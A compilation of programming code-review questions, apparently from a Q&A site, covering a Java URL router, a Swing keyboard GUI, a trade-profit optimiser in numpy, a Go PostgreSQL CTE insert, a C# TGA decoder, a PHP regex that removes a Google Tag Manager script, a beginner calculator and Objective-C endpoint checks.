texts: UrlRouter which uses regular expressions to find out what to do

texts:
I have created UrlRouter. It should call appropriate controllers methods with extracted values as a parameters. It works fine, but my boss told me that I should make it better. Could you give me some advice on how to improve this class, please?

public class UrlRouter {

    private final static String pageRegex = "/page/\\d{1,5}";
    private final static String yearRegex = "/\\d{4}";
    private final static String monthRegex = "/\\d{1,2}";
    private final static String nameRegex = "/[a-z0-9\\-]+";

    private final static Pattern page = Pattern.compile(pageRegex + "$");
    private final static Pattern year = Pattern.compile(yearRegex + "$");
    private final static Pattern yearPage = Pattern.compile(yearRegex + pageRegex + "$");
    private final static Pattern yearMonth = Pattern.compile(yearRegex + monthRegex  + "$");
    private final static Pattern yearMonthPage = Pattern.compile(yearRegex + monthRegex + pageRegex  + "$");
    private final static Pattern yearMonthName = Pattern.compile(yearRegex + monthRegex + nameRegex  + "$");
    private PostController postController;

    public UrlRouter(PostController controller) {
        this.postController = controller;
    }

    public void route(HttpServletRequest request) {
        String url = request.getRequestURI();

        if (yearMonthName.matcher(url).find()) {
            showOne(url);
        } else if (yearMonthPage.matcher(url).find()) {
            showMonthList(url);
        } else if (yearMonth.matcher(url).find()) {
            showMonth(url);
        } else if (yearPage.matcher(url).find()) {
            showYearList(url);
        } else if (year.matcher(url).find()) {
            showYear(url);
        } else if (page.matcher(url).find()) {
            showPage(url);
        } else {
            postController.showPage(1);
        }
    }

    private void showPage(String url) {
        String[] parts = url.split("/");
        int pageNumber = Integer.parseInt(parts[parts.length-1]);
        postController.showPage(pageNumber);
    }

    private void showYear(String url) {
        String[] parts = url.split("/");
        int year = Integer.parseInt(parts[parts.length - 1]);
        postController.showYear(year, 1);
    }

    private void showYearList(String url) {
        String[] parts = url.split("/");
        int year = Integer.parseInt(parts[parts.length - 3]);
        int page = Integer.parseInt(parts[parts.length - 1]);
        postController.showYear(year, page);
    }

    private void showMonth(String url) {
        String[] parts = url.split("/");
        int month = Integer.parseInt(parts[parts.length - 1]);
        int year = Integer.parseInt(parts[parts.length-2]);
        postController.showMonth(year, month, 1);
    }

    private void showMonthList(String url) {
        String[] parts = url.split("/");
        int year = Integer.parseInt(parts[parts.length - 4]);
        int month = Integer.parseInt(parts[parts.length - 3]);
        int page = Integer.parseInt(parts[parts.length - 1]);
        postController.showMonth(year, month, page);
    }

    private void showOne(String url) {
        String[] parts = url.split("/");
        int year = Integer.parseInt(parts[parts.length - 3]);
        int month = Integer.parseInt(parts[parts.length - 2]);
        String name = parts[parts.length - 1];
        postController.showOne(year, month, name);
    }
}


texts:
I'm currently coding for a school project. I'm planning on creating a virtual and simple Launchpad. Here's the first part of my code which treats the graphical interface. I know it's not well organized and that's why I ask for your help and tips!

import java.awt.EventQueue;
import java.awt.GridLayout;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;

import javax.swing.JPanel;

public class clavier extends JFrame {

private JFrame frame = new JFrame("Clavier");
private JPanel parent = new JPanel(new GridLayout(0, 1));
private JPanel[] panel;
private JButton[][] button;
private static final String[][] key = {
      {"A", "Z", "E", "R", "T", "Y", "U", "I",
        "O", "P"}, {
        "Q", "S", "D", "F", "G", "H", "J", "K", "L", "M"}, {"W", "X", "C", "V", "B",
        "N"},
    };
private JMenuBar menuBar = new JMenuBar();
private JMenu m1 = new JMenu("Affecter les sons");
private JMenu m2 = new JMenu("Relancer");
private JMenu m3 = new JMenu("Aide");
private JButton b1 = new JButton("Play");
private JButton b2 = new JButton("Stop");

public clavier() {
    super("Clavier");
    panel = new JPanel[6];
    for (int ligne = 0; ligne < key.length; ligne++) {
        panel[ligne] = new JPanel();
        button = new JButton[20][20];
        for (int column = 0; column < key[ligne].length; column++) {
            button[ligne][column] = new JButton(key[ligne][column]);
            panel[ligne].add(button[ligne][column]);
        }
        parent.add(panel[ligne]);
    }

    this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    this.setLocationRelativeTo(null);
    this.menuBar.add(m1);
    this.menuBar.add(m2);
    this.menuBar.add(m3);
    this.setJMenuBar(menuBar);
    parent.add(b1);
    parent.add(b2);
    this.setVisible(true);
    add(parent);
    pack();
  }

public static void main(String[] args) {

    EventQueue.invokeLater(new Runnable() {
        @Override
        public void run() {
            clavier gui = new clavier();
        }
    });

}
}


texts:
Given a list of sell offers and a list of buy offers for an item I want to determine how many units to trade for maximum profit.

Each offer consists of a price and a maximum amount of units being traded. Offers can be partially fulfilled (i.e. if a buyer/seller wants to trade 100 units, it's ok to trade only 10). However, buy orders can have a minimum amount, which means that the buyer will buy at least this amount of units or none at all.

# sell offers
sell = [Order(price=7.0, amount=120, min_amount=np.nan),
        Order(price=20.0, amount=80, min_amount=np.nan)]

# buy offers
buy = [Order(price=30.0, amount=100, min_amount=100),
       Order(price=15.0, amount=200, min_amount=50),
       Order(price=10.0, amount=20, min_amount=1)]

In this example 120 units are being sold at a price of 7.0 and 80 units at a price of 20.0. Buyers are willing to buy exactly 100 units for 30.0, between 50 and 200 units for 15.0, and up to 20 units for 10.0.

My code determines how many units to trade for maximum profit. It loops over the amount of units traded and computes the optimal buy and sell prices in each iteration. The idea is to get the item as cheaply as possible from sell orders and to sell them as expensively as possible to buy orders.

The optimal sell order price is relatively trivial to obtain. Get as many units as possible from the cheapest offer, and if that is exhausted advance to the next cheapest.

The minimum amount on buy orders makes computation of the optimal buy price more complicated. For example, when trading less than 100 units they cannot be sold as expensively than when trading more than 100 units.

This works reasonably well in the example, but is horribly inefficient when dealing with larger amounts (thousands-millions of units). I could certainly get better performance by using Cython or implementing in C, but I hope for a algorithmic optimization first.

Is there a better (faster) way to find the optimal profit?

import numpy as np
import matplotlib.pyplot as plt
from collections import namedtuple

Order = namedtuple('Order', ['price', 'amount', 'min_amount'])

if __name__ == '__main__':
    # sell offers
    sell = [Order(price=7.0, amount=120, min_amount=np.nan),
            Order(price=20.0, amount=80, min_amount=np.nan)]

    # buy offers
    buy = [Order(price=30.0, amount=100, min_amount=100),
           Order(price=15.0, amount=200, min_amount=50),
           Order(price=10.0, amount=20, min_amount=1)]

    max_n = 201

    sell = np.asarray(sell)
    buy = np.asarray(buy)

    # vectorized computation of sell prices
    amounts = np.zeros(1 + sell.shape[0])
    prices = np.zeros(1 + sell.shape[0])
    amounts[1:] = np.cumsum(sell[:, 1])
    prices[1:] = np.cumsum(sell[:, 1] * sell[:, 0])
    sellprices = np.interp(np.arange(max_n), amounts, prices)

    # performance hog: computation of buy prices
    buyprices = []
    for n in range(max_n):
        price = 0
        remaining = n
        for unit_price, amount, min_amount in buy:
            if remaining < min_amount:
                continue
            if remaining > amount:
                remaining -= amount
                price += amount * unit_price
            else:
                price += remaining * unit_price
                break
        buyprices.append(price)

    sellprices = np.array(sellprices)
    buyprices = np.array(buyprices)
    profits = buyprices - sellprices

    k = np.argmax(profits)

    plt.plot(sellprices, 'r', label='sell offers')
    plt.plot(buyprices, 'b', label='buy offers')
    plt.plot(profits, 'k', label='profit')
    plt.plot(k, profits[k], 'ko', label='optimum')
    plt.legend(loc='best')
    plt.xlabel('amount traded')
    plt.ylabel('price')
    plt.show()


texts:
What is an efficient way to write this raw PostgreSQL query using in go? I'm using go-pg but something with just the pg library should translate well to go-pg.

Table:

companies:
  - id string, primary key
  - name string, not null

services:
  - id string, primary key
  - company_id string, not null, foreign key (company.id)
  - name string, not null

Query:

WITH company AS ( INSERT INTO companies(id, name) VALUES('1', 'acme') RETURNING id)
INSERT INTO services(id, company_id, name) VALUES
('1', (select company.id from company), 'cool service'),
('2', (select company.id from company), 'cooler service');

This is what I came up with. It's very hacky and I feel there is a more "idiomatic" way of doing this.

type Company struct {
    ID string
    Name string
    Services []*Service
}

type Service struct {
    ID string
    CompanyID string
    Name string
}

c := &Company{
    ID: uuid.NewV4().String(),
    Name: "test comp",
}

s := []*Service{
    &Service{
        ID: uuid.NewV4().String(),
        Name: "test svc",
    },
}

c.Service = s

values := []interface{}{
    c.ID,
    c.Name,
}

q := `
    WITH company as (INSERT INTO companies(id, name) VALUES ($1, $2) RETURNING id) INSERT INTO services(id, company_id, name) VALUES
`

var i int = 3
for _, row := range c.Services {
    q += fmt.Sprintf("($%d, (select company.id from company), $%d),", i, i+1)
    values = append(values, row.ID, row.Name)
    i += 2
}

q = strings.TrimSuffix(q, ",")

stmt, err := DB.Prepare(q)
if err != nil {
    return err
}

if _, err := stmt.Exec(values...); err != nil {
    return err
}

I'm somewhat new to using go's sql library and I know I have to be missing something. I saw the pg library allows for bulk imports  but it's a bit confusing how I would do that in my case where I need to populate two separate tables the and the bulk import occurs on the second table.


texts:
I have followed the TGA specs described here (the info at the end of the page is what this method is based on) and have written a method that takes a TGA file's pixel data section and creates a bitmap out of it.

It works, but the code looks sloppy. Particularly, when I'm actually reading the bytes. You'll notice that I do some sort of odd foreach loop in order to repeatly add the same bytes to my array.

Here's the method that reads the pixels. It returns an array of bytes representing the pixels.

Is there a way for me to re-write the inner loop in the 128 case to NOT use a foreach in order to set the same sequence of bytes to an array? I imagine I will find myself putting bytes into an array often and it would be nice to know other ways to do it.

private byte[] getImageType10()
{
    // header stores total bits per pixel
    int bytesPerPixel = header.bpp / 8;
    int total = header.width * header.height * bytesPerPixel;

    // number of bytes we've read so far
    int count = 0;
    int repeat;
    byte packetHdr;
    int packetType;

    // temp storage
    byte[] bytes;
    byte[] pixData = new byte[total];

    while (count < total)
    {
        packetHdr = inFile.ReadByte();
        packetType = packetHdr & (1 << 7);

        // RLE packet
        if (packetType == 128)
        {
            // packet stores number of times following pixel is repeated
            repeat = (packetHdr & ~(1 << 7)) + 1;
            bytes = inFile.ReadBytes(bytesPerPixel);
            for (int j = 0; j < repeat; j++)
            {
                foreach (byte b in bytes)
                {
                    pixData[count] = b;
                    count += 1;
                }
            }
        }

        // raw packet
        else if (packetType == 0)
        {
            // packet stores number of pixels that follow
            repeat = ((packetHdr & ~(1 << 7)) + 1) * bytesPerPixel;
            for (int j = 0; j < repeat; j++)
            {
                pixData[count] = inFile.ReadByte();
                count += 1;
            }
        }
    }
    return pixData;
}


texts:
I am reading some HTML files and returning them upon request, but when they go through my codes I need to filter out some stuff from these HTMLs, everything is working fine and I'm using about 20 or more str_replace and preg_replace to do that which works pretty fine.

Until I used this

$responseBody = preg_replace('/<script>((?!<)[\s\S])*googletagmanager\.com[\s\S]*?<\/script>/', '', $responseBody);

which is supposed to remove this part from html

<script>
(function (w, d, s, l, i) {
    w[l] = w[l] || []; w[l].push({
        'gtm.start':
        new Date().getTime(), event: 'gtm.js'
    }); var f = d.getElementsByTagName(s)[0],
    j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src =
    '//www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f);
})(window, document, 'script', 'dataLayer', 'GTM');</script>

and it does that very well in a regex tester => http://regexr.com/3e8nb
but on the server cpu just goes up and the server halts.
why is this happening? and how can I improve this regex?


texts:
I'm the newbie in Java (and programming) and I've tried to make a simple calculator. Code is barbaric, I know, so I would like to make it more beatiful.

Main.java:

import java.util.Scanner;
import java.util.Vector;

public class Main {
    static Main mainobject = new Main();
    ActionsToDo act = new ActionsToDo();
    Solution solve = new Solution();
    public static Vector<Double> v1 = new Vector<Double>();

    public void setValues(double fn, double sn) {
        solve.solveExpression(chooseOperator(), fn, sn);
        act.chooseAction(fn, sn);
    }

    public static double getFirstNumber() {
        System.out.println("Input the 1st number");
        Scanner sc = new Scanner(System.in);
        return sc.nextDouble();
    }

    public static double getSecondNumber() {
        System.out.println("Input the 2nd number");
        Scanner sc = new Scanner(System.in);
        return sc.nextDouble();
    }

    public char chooseOperator() {
        Scanner sc = new Scanner(System.in);
        System.out.println("What to do?" +
                "\n + for add" +
                "\n - for minus" +
                "\n * for multiply" +
                "\n / for divide" +
                "\n % for mod" +
                "\n ^ for first number into the power of second number");
        String operator = sc.next();
        return operator.charAt(0);
    }

    public static void main(String[] args) {
        mainobject.setValues(getFirstNumber(), getSecondNumber());
    }
}

Solution.java

public class Solution {
    static Main objectMain2 = new Main();
    public void solveExpression (char checker, double fn, double sn) {
        switch (checker) {
            case '+':
                System.out.println((fn + sn));
                objectMain2.v1.addElement((fn + sn));
                break;
            case '-':
                System.out.println((fn - sn));
                objectMain2.v1.addElement((fn - sn));
                break;
            case '*':
                System.out.println((fn * sn));
                objectMain2.v1.addElement((fn * sn));
                break;
            case '/':
                System.out.println((fn / sn));
                objectMain2.v1.addElement((fn / sn));
                break;
            case '%':
                System.out.println((fn % sn));
                objectMain2.v1.addElement((fn % sn));
                break;
            case '^':
                System.out.println(Math.pow(fn, sn));
                objectMain2.v1.addElement(Math.pow(fn,sn));
                break;
        }
    }
}

ActionsToDo.java:

import java.util.Scanner;
public class ActionsToDo {
    static Main objectMain = new Main();
    public void chooseAction(double fn, double sn) {
        Scanner sc = new Scanner(System.in);
        System.out.println("Dormammu, I came to bargain! " +
                "Wanna do some extra calculations?" +
                "\n 1 - for 'Yes'" +
                "\n 2 - for 'No'" +
                "\n 3 - to change the numbers");
        int dormammu = sc.nextInt();
        switch (dormammu) {
            case 1:
                objectMain.setValues(fn, sn);
                break;
            case 2:
                System.out.println("Okay! Nobody misses you" +
                        "\n But here's the calculations you've done so far");
                for (int i = 0; i < objectMain.v1.size();i++) {
                    System.out.print(objectMain.v1.get(i) + " ");
                }
                break;
            case 3:
                objectMain.setValues(objectMain.getFirstNumber(), objectMain.getSecondNumber());
                break;
            default:
                System.out.println("Shit, wrong answer,  you'll have to calculate " +
                        "with these numbers again and then you can do whatever you want");
                objectMain.setValues(fn, sn);

        }
    }
}

Note that the different classes are used just for training of using them


texts: Multiple serial URL requests in Objective-C / iOS

texts:
I want to check the existence of various API endpoints by doing serial URL request. If the first one fails, I want to try the second one, if the second fails I want to try the third one, etc.

Here is some code I use to do this:

self.apiEndpoint = kApiAjaxEndpoint;
[self testEndpointWithBlock:^(id response, NSError *error) {
    if (error) {
        self.apiEndpoint = kApiAjaxLegacyEndpoint;
        [self testEndpointWithBlock:^(id response, NSError *error) {
            if (error) {
                self.apiEndpoint = kApiRestEndpoint;
            }
            [self saveApiEndpoint];
        }];
    } else {
        [self saveApiEndpoint];
    }
}];

So for now I'm only testing for 2 API endpoints but the moment I add a new endpoint I would need to add another call to testEndpointWithBlock: with error handling code.

I was wondering if you can think of a more elegant way of doing this?